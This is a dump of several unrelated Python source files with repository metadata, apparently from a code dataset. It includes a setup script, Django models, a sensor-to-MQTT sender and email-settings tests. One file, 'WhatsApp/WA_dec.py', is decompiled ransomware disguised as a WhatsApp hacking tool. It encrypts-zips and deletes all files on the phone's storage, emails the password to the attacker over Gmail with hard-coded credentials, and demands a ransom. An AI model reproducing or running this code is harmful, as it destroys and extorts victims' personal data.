| 41.301075 | 196 | 0.757615 | 511 | 3,841 | 5.679061 | 0.412916 | 0.040317 | 0.026189 | 0.027912 | 0.12612 | 0.12612 | 0.12612 | 0.12612 | 0.12612 | 0.12612 | 0 | 0.025172 | 0.131216 | 3,841 | 92 | 197 | 41.75 | 0.844471 | 0.356157 | 0 | 0.122449 | 0 | 0 | 0.047872 | 0.011047 | 0 | 0 | 0 | 0 | 0 | 1 | 0.204082 | false | 0.081633 | 0.22449 | 0.020408 | 0.469388 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
5391f1a0a89832e4995508f2852345ab7a136af2 | 1,022 | py | Python | setup.py | topknopp/timeframe | 2fc5042f04781a08519390bfb6308cc329fae39d | [
"MIT"
] | 4 | 2021-01-27T12:45:02.000Z | 2021-05-19T00:49:56.000Z | setup.py | topknopp/timeframe | 2fc5042f04781a08519390bfb6308cc329fae39d | [
"MIT"
] | 3 | 2021-06-05T08:02:13.000Z | 2022-03-01T15:41:24.000Z | setup.py | topknopp/timeframe | 2fc5042f04781a08519390bfb6308cc329fae39d | [
"MIT"
] | 2 | 2021-11-17T17:01:20.000Z | 2021-11-20T16:15:57.000Z | import setuptools
import timeframe
with open("README.md", "r", encoding="utf-8") as f:
long_description = f.read()
PACKAGES = setuptools.find_packages(include=("timeframe",))
setuptools.setup(
name=timeframe.__name__,
version=timeframe.__version__,
author=timeframe.__author__,
author_email=timeframe.__author_email__,
description="Calculation of time frames using the built-in datetime module",
long_description=long_description,
long_description_content_type="text/markdown",
url="https://github.com/meysam81/timeframe",
packages=PACKAGES,
classifiers=[
"Operating System :: OS Independent",
"License :: OSI Approved :: MIT License",
"Programming Language :: Python",
"Programming Language :: Python :: 3",
"Programming Language :: Python :: 3.6",
"Programming Language :: Python :: 3.7",
"Programming Language :: Python :: 3.8",
"Programming Language :: Python :: 3.9",
],
python_requires=">=3.6",
)
| 32.967742 | 80 | 0.670254 | 110 | 1,022 | 5.990909 | 0.545455 | 0.172989 | 0.227618 | 0.197269 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.017094 | 0.19863 | 1,022 | 30 | 81 | 34.066667 | 0.787546 | 0 | 0 | 0 | 0 | 0 | 0.415851 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.074074 | 0 | 0.074074 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
539bd31acd1edc4b1c9820e1ccb2f456b0a727da | 422 | py | Python | Python_2/Multiplication_Table.py | ashwek/python | 92504ee36fafee3fb54f0d291f85b420b34e5c45 | [
"MIT"
] | 3 | 2019-07-22T05:43:45.000Z | 2019-08-06T15:04:28.000Z | Python_2/Multiplication_Table.py | ashwek/python | 92504ee36fafee3fb54f0d291f85b420b34e5c45 | [
"MIT"
] | 1 | 2018-10-14T16:32:06.000Z | 2018-10-14T16:34:31.000Z | Python_2/Multiplication_Table.py | ashwek/Python | 92504ee36fafee3fb54f0d291f85b420b34e5c45 | [
"MIT"
] | 1 | 2019-10-18T21:37:12.000Z | 2019-10-18T21:37:12.000Z | try:
num = float(raw_input("\n\tEnter a number = "))
try:
limit = int(raw_input("\tEnter a limit = "))
N_width = len(str(limit))
R_width = len(str(num*limit))
for n in range (1, limit+1):
print "\t ->", num, "*", str(n).center(N_width), "=", str(num*n).center(R_width)
except ValueError: print "\n\t*** Invalid Limit Entered ***\n"
except ValueError: print "\n\t*** Invalid Number Entered ***\n"
| 35.166667 | 84 | 0.606635 | 67 | 422 | 3.731343 | 0.38806 | 0.064 | 0.088 | 0.176 | 0.24 | 0.24 | 0 | 0 | 0 | 0 | 0 | 0.005814 | 0.184834 | 422 | 11 | 85 | 38.363636 | 0.72093 | 0 | 0 | 0.2 | 0 | 0 | 0.284672 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.3 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
53a665a43428a64a8af07333dcc9c69671e0dbc1 | 467 | py | Python | 198. House Robber.py | MapleLove2014/leetcode | 135c79ebe98815d0e38280edfadaba90e677aff5 | [
"Apache-2.0"
] | 1 | 2020-12-04T07:38:16.000Z | 2020-12-04T07:38:16.000Z | 198. House Robber.py | MapleLove2014/leetcode | 135c79ebe98815d0e38280edfadaba90e677aff5 | [
"Apache-2.0"
] | null | null | null | 198. House Robber.py | MapleLove2014/leetcode | 135c79ebe98815d0e38280edfadaba90e677aff5 | [
"Apache-2.0"
] | null | null | null | class Solution:
def rob(self, nums):
if not nums:
return 0
values = [0] * len(nums)
for i in range(len(nums)):
if i == 0:
values[i] = max(values[i], nums[i])
elif i == 1:
values[i] = max(values[i-1], nums[i])
else:
values[i] = max(values[i-2] + nums[i], values[i-1])
return values[-1]
s = Solution()
print(s.rob([2,7,9,3,1]))
| 27.470588 | 67 | 0.430407 | 67 | 467 | 3 | 0.38806 | 0.243781 | 0.149254 | 0.238806 | 0.253731 | 0 | 0 | 0 | 0 | 0 | 0 | 0.046763 | 0.404711 | 467 | 17 | 68 | 27.470588 | 0.676259 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.066667 | false | 0 | 0 | 0 | 0.266667 | 0.066667 | 0 | 0 | 0 | null | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
53ae78e6cf6c3ae1925f8a277d7ad0e0445159f7 | 2,690 | py | Python | h1st/model/ensemble/randomforest_classifier_stack_ensemble.py | Adatao/H1st | c6a92f303d150664fe49f7f41e23b473b4a5d17f | [
"Apache-2.0"
] | 796 | 2020-08-13T07:28:45.000Z | 2022-03-24T04:28:02.000Z | h1st/model/ensemble/randomforest_classifier_stack_ensemble.py | Adatao/H1st | c6a92f303d150664fe49f7f41e23b473b4a5d17f | [
"Apache-2.0"
] | 67 | 2020-08-17T20:53:38.000Z | 2022-03-29T04:42:43.000Z | h1st/model/ensemble/randomforest_classifier_stack_ensemble.py | Adatao/H1st | c6a92f303d150664fe49f7f41e23b473b4a5d17f | [
"Apache-2.0"
] | 104 | 2020-08-16T06:03:30.000Z | 2022-01-25T10:46:10.000Z | from typing import List
from sklearn.ensemble import RandomForestClassifier
from h1st.model.ensemble.classifier_stack_ensemble import ClassifierStackEnsemble
from h1st.model.model import Model
class RandomForestClassifierStackEnsemble(ClassifierStackEnsemble):
"""
A ready to use StackEnsemble for classifier with ensembler is a sklearn's MultiOutputClassifier using RandomForestClassifier
Each sub model must be a subclass of h1.Model and its .predict() method will receive an input data as a dictionary that has 'X' key and numeric value
and return a dictionary with 'predictions' key and its prediction value
.. code-block:: python
:caption: Sub model for a StackEnsemble Example
class Model1(h1.Model):
def predict(self, data):
X = data['X']
...
return {'predictions': }
.. code-block:: python
:caption: RandomForestClassifierStackEnsemble usage Example
class Model2(h1.Model):
def predict(self, data):
X = data['X']
...
return {'predictions': }
class RandomForestClassifierStackEnsemble(ClassifierStackEnsemble):
def __init__(self):
super().__init__([
Model1().load('version_of_model_1'),
Model2().load('version_of_model_2')
])
def load_data(self,):
...
return loaded_data
def prep(self, loaded_data):
...
return prepared_data
m1 = Model1()
m1.load_prep_train_eval()
## Equivalent to
# loaded_data = m1.load_data()
# prepared_data = m1.prep(loaded_data)
# m1.train(prepared_data)
# m1.evaluate(prepared_data)
print(m1.metrics)
m1.persist('version_of_model_1')
m2 = Model2()
m2.load_prep_train_eval()
print(m2.metrics)
m2.persist('version_of_model_2')
ensemble = RandomForestClassifierStackEnsemble(
[Model1().load('version_of_model_1'),
Model2().load('version_of_model_2')])
ensemble.load_prep_train_eval()
print(ensemble.metrics)
ensemble.persist('version_of_model_ensemble')
ensemble.predict(...)
"""
def __init__(self, sub_models: List[Model], **kwargs):
super().__init__(
# MultiOutputClassifier(RandomForestClassifier(n_jobs=-1, max_depth=4, random_state=42)),
RandomForestClassifier(n_jobs=-1, max_depth=4, random_state=42),
sub_models,
**kwargs
)
| 32.804878 | 153 | 0.604833 | 278 | 2,690 | 5.615108 | 0.327338 | 0.040359 | 0.06278 | 0.046124 | 0.237668 | 0.189622 | 0.189622 | 0.189622 | 0.189622 | 0.189622 | 0 | 0.020822 | 0.303717 | 2,690 | 81 | 154 | 33.209877 | 0.8126 | 0.736431 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.090909 | false | 0 | 0.363636 | 0 | 0.545455 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
53bf33a57e7ff324c13d24d8591c98c7ce1b4b06 | 541 | py | Python | todowoo/api/serializers.py | akhabhishek/todolist-project | 553e09b6b3d2e5afc56a24e497c25f900c8b1a2e | [
"MIT"
] | null | null | null | todowoo/api/serializers.py | akhabhishek/todolist-project | 553e09b6b3d2e5afc56a24e497c25f900c8b1a2e | [
"MIT"
] | null | null | null | todowoo/api/serializers.py | akhabhishek/todolist-project | 553e09b6b3d2e5afc56a24e497c25f900c8b1a2e | [
"MIT"
] | null | null | null | from rest_framework import serializers
from todo.models import Todo
class TodoSerializer(serializers.ModelSerializer):
created = serializers.ReadOnlyField()
datecompleted = serializers.ReadOnlyField()
class Meta:
model = Todo
fields = ['id', 'title', 'memo', 'created', 'datecompleted', 'important']
class TodoCompleteSerializer(serializers.ModelSerializer):
class Meta:
model = Todo
fields = ['id']
read_only_fields = ['title', 'memo', 'created', 'datecompleted', 'important']
| 25.761905 | 85 | 0.68207 | 49 | 541 | 7.469388 | 0.469388 | 0.142077 | 0.076503 | 0.098361 | 0.349727 | 0.142077 | 0 | 0 | 0 | 0 | 0 | 0 | 0.201479 | 541 | 20 | 86 | 27.05 | 0.847222 | 0 | 0 | 0.307692 | 0 | 0 | 0.147874 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.307692 | 0 | 0.769231 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
53c8c09af33ec5bc3ceca03afd320e43fde34be7 | 2,177 | py | Python | sensortag-sender.py | zymotik/sensortag-sender | 17b9efd8d2df77e50c5122d8b84f7e5ef750bf66 | [
"MIT"
] | null | null | null | sensortag-sender.py | zymotik/sensortag-sender | 17b9efd8d2df77e50c5122d8b84f7e5ef750bf66 | [
"MIT"
] | null | null | null | sensortag-sender.py | zymotik/sensortag-sender | 17b9efd8d2df77e50c5122d8b84f7e5ef750bf66 | [
"MIT"
] | null | null | null | from multiprocessing.dummy import Pool as ThreadPool
from sensortag import SensorTagManager
import sched, time, json, requests, os, sys
import mqtt
import config
s = sched.scheduler(time.time, time.sleep)
pool = ThreadPool(config.sensors.__len__())
data = {'sensors' : {} }
def main():
print(time.strftime("%H:%M") + " SensorTagSender started.")
results = pool.map(start, config.sensors)
def start(address):
if address == "logger":
s.enter(config.poll_period_seconds, 1, publish_temp_readings, (s,))
s.run()
else:
SensorTagManager(address, data)
print address
def publish_temp_readings(sc):
clear_screen()
if config.mqtt_enabled:
mqtt_conn = mqtt.connect_mqtt(config.mqtt_ipaddress, config.mqtt_port, config.mqtt_username, config.mqtt_password)
readings = []
for sensorId in data['sensors']:
has_data = False
reading = {'sensorId': data['sensors'][sensorId]['id']}
try:
reading['ambientTemperature'] = data['sensors'][sensorId]['ambientTemperature']
del data['sensors'][sensorId]['ambientTemperature']
has_data = True
except:
pass
try:
reading['humidity'] = data['sensors'][sensorId]['humidity']
del data['sensors'][sensorId]['humidity']
has_data = True
except:
pass
if has_data:
readings.append(reading)
if config.mqtt_enabled:
mqtt.publish_temp(mqtt_conn, reading['sensorId'], reading['ambientTemperature'])
if config.mqtt_enabled:
mqtt.disconnect_mqtt(mqtt_conn)
if len(readings) > 0 and config.http_enabled:
send_to_server(list_to_json(readings))
if len(readings) == 0:
print(time.strftime("%H:%M") + " No sensors found.")
s.enter(config.poll_period_seconds, 1, publish_temp_readings, (sc,))
def list_to_json(list_obj):
return json.dumps(list_obj)
def send_to_server(data_string):
try:
r = requests.post(config.http_url, data=data_string, headers=config.http_headers)
print(data_string)
print(time.strftime("%H:%M") + " Sent.")
except:
clear_screen()
print(sys.exc_info()[0])
print(time.strftime("%H:%M") + " Exception sending data.")
pass
def clear_screen():
os.system('cls' if os.name == 'nt' else 'clear')
if __name__ == "__main__":
main()
| 26.54878 | 116 | 0.710611 | 292 | 2,177 | 5.09589 | 0.339041 | 0.051747 | 0.063844 | 0.048387 | 0.192876 | 0.092742 | 0.06586 | 0.06586 | 0.06586 | 0.06586 | 0 | 0.00268 | 0.142857 | 2,177 | 81 | 117 | 26.876543 | 0.794748 | 0 | 0 | 0.246154 | 0 | 0 | 0.128617 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.061538 | 0.076923 | null | null | 0.107692 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
53f2a3e1726712d0352381ac753c03394531b209 | 114 | py | Python | tests/pb/run.py | ggaddy/pop-build | 5b1e50049e0ada8dd831136ab4afc6b59d093f8a | [
"Apache-2.0"
] | 3 | 2019-12-16T23:08:50.000Z | 2020-09-21T20:37:40.000Z | tests/pb/run.py | ggaddy/pop-build | 5b1e50049e0ada8dd831136ab4afc6b59d093f8a | [
"Apache-2.0"
] | 7 | 2020-01-09T16:14:00.000Z | 2020-02-10T19:57:40.000Z | tests/pb/run.py | ggaddy/pop-build | 5b1e50049e0ada8dd831136ab4afc6b59d093f8a | [
"Apache-2.0"
] | 6 | 2020-01-06T23:06:54.000Z | 2020-07-08T21:24:54.000Z | #!/usr/bin/env python3
import pop.hub
def start():
hub = pop.hub.Hub()
hub.pop.sub.add('pb.pb')
start() | 12.666667 | 28 | 0.605263 | 20 | 114 | 3.45 | 0.6 | 0.173913 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.010753 | 0.184211 | 114 | 9 | 29 | 12.666667 | 0.731183 | 0.184211 | 0 | 0 | 0 | 0 | 0.053763 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.2 | 0 | 0.4 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
54f3b675febe458fa8ef4540657696f002809d2f | 2,838 | py | Python | electricity/models.py | Tushar1337/Elektra | ca678378e6752674087cf0109c539f863bddb68f | [
"MIT"
] | 1 | 2021-04-05T06:19:02.000Z | 2021-04-05T06:19:02.000Z | electricity/models.py | Tushar1337/Elektra | ca678378e6752674087cf0109c539f863bddb68f | [
"MIT"
] | null | null | null | electricity/models.py | Tushar1337/Elektra | ca678378e6752674087cf0109c539f863bddb68f | [
"MIT"
] | null | null | null | from django.db import models
# Create your models here.
from django.db import models
from django.contrib.auth.models import AbstractBaseUser, BaseUserManager
is_active = (
('True', 'True'),
('False', 'False')
)
class MyAccountManager(BaseUserManager):
def create_user(self,email,username,password=None):
if not email:
raise ValueError("User must an email")
if not username:
raise ValueError("User must an username")
user = self.model(
email= self.normalize_email(email),
username = username,
)
user.set_password(password)
user.save(using=self._db)
return user
def create_superuser(self,email,username,password):
user = self.create_user(
email= self.normalize_email(email),
password= password,
username = username,
)
user.is_admin = True
user.is_staff = True
user.is_superuser = True
user.save(using=self._db)
return user
class User(AbstractBaseUser):
first_name = models.CharField(max_length=20, null=True, blank=False ,verbose_name='first_name')
email = models.EmailField(null=True, blank=False,unique = True, verbose_name='email')
last_name = models.CharField(max_length=20,null=True, blank=False,verbose_name='last_name')
password = models.CharField(max_length=20,null=True,blank=False,verbose_name='password')
username = models.CharField(max_length=20,unique = True,verbose_name='username')
rpassword = models.CharField(max_length=20,null=True,blank=False,verbose_name='confirm')
is_active = models.BooleanField(default=True)
is_active = models.BooleanField(default=False)
is_superuser = models.BooleanField(default=False)
is_admin = models.BooleanField(default=False)
date_joined = models.DateTimeField(verbose_name = "date joined" ,auto_now_add=True )
last_login = models.DateTimeField(verbose_name= 'last login',null=True,blank=True,auto_now=True)
objects = MyAccountManager()
USERNAME_FIELD = "email"
def __str__(self):
return self.email + "," + self.username
def has_perm(self, perm ,obj=None):
return self.is_admin
def has_module_perms(self,app_Label):
return True
class electricity(models.Model):
latitude = models.CharField(max_length=50)
longitude = models.CharField(max_length=50)
is_solved = models.BooleanField(default=False)
#Model for contact
class Contact(models.Model):
sno = models.AutoField(primary_key=True)
name = models.CharField(max_length=50)
email = models.EmailField( max_length=254)
phone = models.CharField(max_length=13)
message = models.TextField()
| 35.924051 | 102 | 0.668076 | 339 | 2,838 | 5.430678 | 0.262537 | 0.048886 | 0.087996 | 0.117328 | 0.354699 | 0.15535 | 0.15535 | 0.123846 | 0.123846 | 0.123846 | 0 | 0.009602 | 0.229387 | 2,838 | 78 | 103 | 36.384615 | 0.83219 | 0.014447 | 0 | 0.16129 | 0 | 0 | 0.046886 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.080645 | false | 0.096774 | 0.048387 | 0.048387 | 0.629032 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 2 |
54f65ace7256ec99ea71ad8462d0fa0ecfeaca6a | 288 | py | Python | test/add.py | dramatis/dramatis | 1a43a6be1d7e7e9fd2cde052430d6e84700dc822 | [
"MIT"
] | 5 | 2015-11-05T01:51:29.000Z | 2019-04-16T09:09:19.000Z | test/add.py | halorgium/dramatis | 50b35c4e79c33e438cb9f5eeab51ab73119bd75d | [
"MIT"
] | null | null | null | test/add.py | halorgium/dramatis | 50b35c4e79c33e438cb9f5eeab51ab73119bd75d | [
"MIT"
] | 1 | 2022-03-03T19:51:04.000Z | 2022-03-03T19:51:04.000Z | class Foo(object):
def __add__(self,that):
raise "ehll"
def __getattribute__(self,attr):
print "ga " + attr
return super(Foo,self).__getattribute__(attr)
foo = Foo()
# print foo.__add__
# print foo.__class__.__add__
print foo + 0
# print foo.__add__(0)
| 19.2 | 53 | 0.649306 | 38 | 288 | 4.184211 | 0.421053 | 0.201258 | 0.138365 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009009 | 0.229167 | 288 | 14 | 54 | 20.571429 | 0.707207 | 0.229167 | 0 | 0 | 0 | 0 | 0.03211 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.25 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
070282c6e8e1977de8947fc6a7a2fa08ef43774a | 2,974 | py | Python | WhatsApp/WA_dec.py | Alpha-Demon404/RE-14 | b5b46a9f0eee218f2a642b615c77135c33c6f4ad | [
"MIT"
] | 39 | 2020-02-26T09:44:36.000Z | 2022-03-23T00:18:25.000Z | WhatsApp/WA_dec.py | B4BY-DG/reverse-enginnering | b5b46a9f0eee218f2a642b615c77135c33c6f4ad | [
"MIT"
] | 15 | 2020-05-14T10:07:26.000Z | 2022-01-06T02:55:32.000Z | WhatsApp/WA_dec.py | B4BY-DG/reverse-enginnering | b5b46a9f0eee218f2a642b615c77135c33c6f4ad | [
"MIT"
] | 41 | 2020-03-16T22:36:38.000Z | 2022-03-17T14:47:19.000Z | # uncompyle6 version 3.5.0
# Python bytecode 2.7
# Decompiled from: Python 2.7.17 (default, Oct 23 2019, 08:25:46)
# [GCC 4.2.1 Compatible Android (5220042 based on r346389c) Clang 8.0.7 (https://
# Embedded file name: <JustAHacker>
whoknow = 'ohiabuebmpoeomqk'
import os, sys, time, datetime, random, hashlib, re, threading, json, getpass, urllib, smtplib
from glob import glob as s
daftar = []
cekks = os.access('/sdcard', os.R_OK)
os.system('command -v zip > /dev/null 2>&1 || pkg install zip')
if cekks == True:
pass
else:
print 'This Program Needs Permission To Read Whatsapp Data'
print 'Please Give permission',
sys.exit()
os.chdir('/sdcard')
has = s('*.*')
for a in has:
daftar.append(a)
has = s('*/*.*')
for a in has:
daftar.append(a)
has = s('*/*/*.*')
for a in has:
daftar.append(a)
has = s('*/*/*/*.*')
for a in has:
daftar.append(a)
has = s('*/*/*/*/*.*')
for a in has:
daftar.append(a)
has = s('*/*/*/*/*/*.*')
for a in has:
daftar.append(a)
menit = len(daftar) / 65
generate1 = ('').join(random.sample(map(chr, range(48, 57) + range(65, 90) + range(97, 122)), 10))
generate2 = ('').join(random.sample(map(chr, range(48, 57) + range(65, 90) + range(97, 122)), 10))
generate3 = ('').join(random.sample(map(chr, range(48, 57) + range(65, 90) + range(97, 122)), 10))
generate4 = ('').join(random.sample(map(chr, range(48, 57) + range(65, 90) + range(97, 122)), 10))
generate5 = ('').join(random.sample(map(chr, range(48, 57) + range(65, 90) + range(97, 122)), 10))
generate6 = ('').join(random.sample(map(chr, range(48, 57) + range(65, 90) + range(97, 122)), 10))
passcrypt = generate1 + generate2 + generate3 + generate4 + generate5 + generate6
os.system('clear')
name = raw_input('\x1b[1;33mYour Whatsapp : ')
raw_input('Target : ')
time.sleep(2)
print 'Please Wait ' + str(menit) + ' Minutes '
try:
jfhfi = int(name)
except:
print 'Enter Your Whatsapp'
sys.exit()
if '+62' in str(name):
pass
else:
print 'Enter Your Whatsapp Using +62'
sys.exit()
print 'Hacking Target..Please Wait'
print 'If You Cancel This Proggress,your Whatsapp will error'
print 'So Please Be Patient'
fadd = 'rafasyahagung@gmail.com'
tadd = 'rafasyahagung@gmail.com'
SUBJECT = 'Whatsapp Korban = ' + name
TEXT = 'password zip = ' + str(passcrypt)
message = ('Subject: {}\n\n{}').format(SUBJECT, TEXT)
username = 'justabotsubs12@gmail.com'
server = smtplib.SMTP('smtp.gmail.com', 587)
server.ehlo()
server.starttls()
server.login(username, whoknow)
server.sendmail(fadd, tadd, message)
azaz = 0
for i in daftar:
os.system('zip -rmq -1 --password ' + str(passcrypt) + ' myfile.zip ' + i)
azaz += 1
print str(azaz) + '/' + len(daftar) + ' Completed,please Wait'
print len(daftar) + ' Files Penting Anda Telah Dikunci,Termasuk photo'
print 'Selamat Semua File Anda Telah Dikunci'
print 'File Anda Terletak Di myfile.zip'
print 'Silakan Bayar 50Ribu Untuk Membuka File Nya'
print 'Whatsapp : 089682009902' | 32.681319 | 98 | 0.655346 | 444 | 2,974 | 4.382883 | 0.407658 | 0.012333 | 0.021583 | 0.024666 | 0.240493 | 0.240493 | 0.240493 | 0.240493 | 0.240493 | 0.240493 | 0 | 0.071659 | 0.164761 | 2,974 | 91 | 99 | 32.681319 | 0.711755 | 0.074983 | 0 | 0.24359 | 0 | 0 | 0.287691 | 0.025492 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.076923 | 0.025641 | null | null | 0.179487 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
0711e1ad61838441acf807fbb92516ec9f16b9a6 | 6,786 | py | Python | tests/gdata_tests/apps/emailsettings/data_test.py | lightkeeper/lsgdata-python | 463d69718b54c4685d14ebe8ac74033896a8c33c | [
"Apache-2.0"
] | null | null | null | tests/gdata_tests/apps/emailsettings/data_test.py | lightkeeper/lsgdata-python | 463d69718b54c4685d14ebe8ac74033896a8c33c | [
"Apache-2.0"
] | null | null | null | tests/gdata_tests/apps/emailsettings/data_test.py | lightkeeper/lsgdata-python | 463d69718b54c4685d14ebe8ac74033896a8c33c | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/python
#
# Copyright (C) 2010 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
__author__ = 'Claudio Cherubino <ccherubino@google.com>'
import unittest
import gdata.apps.emailsettings.data
import gdata.test_config as conf
class EmailSettingsLabelTest(unittest.TestCase):
def setUp(self):
self.entry = gdata.apps.emailsettings.data.EmailSettingsLabel()
def testName(self):
self.entry.name = 'test label'
self.assertEquals(self.entry.name, 'test label')
class EmailSettingsFilterTest(unittest.TestCase):
def setUp(self):
self.entry = gdata.apps.emailsettings.data.EmailSettingsFilter()
def testFrom(self):
self.entry.from_address = 'abc@example.com'
self.assertEquals(self.entry.from_address, 'abc@example.com')
def testTo(self):
self.entry.to_address = 'to@example.com'
self.assertEquals(self.entry.to_address, 'to@example.com')
def testFrom(self):
self.entry.from_address = 'abc@example.com'
self.assertEquals(self.entry.from_address, 'abc@example.com')
def testSubject(self):
self.entry.subject = 'Read me'
self.assertEquals(self.entry.subject, 'Read me')
def testHasTheWord(self):
self.entry.has_the_word = 'important'
self.assertEquals(self.entry.has_the_word, 'important')
def testDoesNotHaveTheWord(self):
self.entry.does_not_have_the_word = 'spam'
self.assertEquals(self.entry.does_not_have_the_word, 'spam')
def testHasAttachments(self):
self.entry.has_attachments = True
self.assertEquals(self.entry.has_attachments, True)
def testLabel(self):
self.entry.label = 'Trip reports'
self.assertEquals(self.entry.label, 'Trip reports')
def testMarkHasRead(self):
self.entry.mark_has_read = True
self.assertEquals(self.entry.mark_has_read, True)
def testArchive(self):
self.entry.archive = True
self.assertEquals(self.entry.archive, True)
class EmailSettingsSendAsAliasTest(unittest.TestCase):
def setUp(self):
self.entry = gdata.apps.emailsettings.data.EmailSettingsSendAsAlias()
def testName(self):
self.entry.name = 'Sales'
self.assertEquals(self.entry.name, 'Sales')
def testAddress(self):
self.entry.address = 'sales@example.com'
self.assertEquals(self.entry.address, 'sales@example.com')
def testReplyTo(self):
self.entry.reply_to = 'support@example.com'
self.assertEquals(self.entry.reply_to, 'support@example.com')
def testMakeDefault(self):
self.entry.make_default = True
self.assertEquals(self.entry.make_default, True)
class EmailSettingsWebClipTest(unittest.TestCase):
def setUp(self):
self.entry = gdata.apps.emailsettings.data.EmailSettingsWebClip()
def testEnable(self):
self.entry.enable = True
self.assertEquals(self.entry.enable, True)
class EmailSettingsForwardingTest(unittest.TestCase):
def setUp(self):
self.entry = gdata.apps.emailsettings.data.EmailSettingsForwarding()
def testEnable(self):
self.entry.enable = True
self.assertEquals(self.entry.enable, True)
def testForwardTo(self):
self.entry.forward_to = 'fred@example.com'
self.assertEquals(self.entry.forward_to, 'fred@example.com')
def testAction(self):
self.entry.action = 'KEEP'
self.assertEquals(self.entry.action, 'KEEP')
class EmailSettingsPopTest(unittest.TestCase):
def setUp(self):
self.entry = gdata.apps.emailsettings.data.EmailSettingsPop()
def testEnable(self):
self.entry.enable = True
self.assertEquals(self.entry.enable, True)
def testForwardTo(self):
self.entry.enable_for = 'ALL_MAIL'
self.assertEquals(self.entry.enable_for, 'ALL_MAIL')
def testAction(self):
self.entry.action = 'KEEP'
self.assertEquals(self.entry.action, 'KEEP')
class EmailSettingsImapTest(unittest.TestCase):
def setUp(self):
self.entry = gdata.apps.emailsettings.data.EmailSettingsImap()
def testEnable(self):
self.entry.enable = True
self.assertEquals(self.entry.enable, True)
class EmailSettingsVacationResponderTest(unittest.TestCase):
def setUp(self):
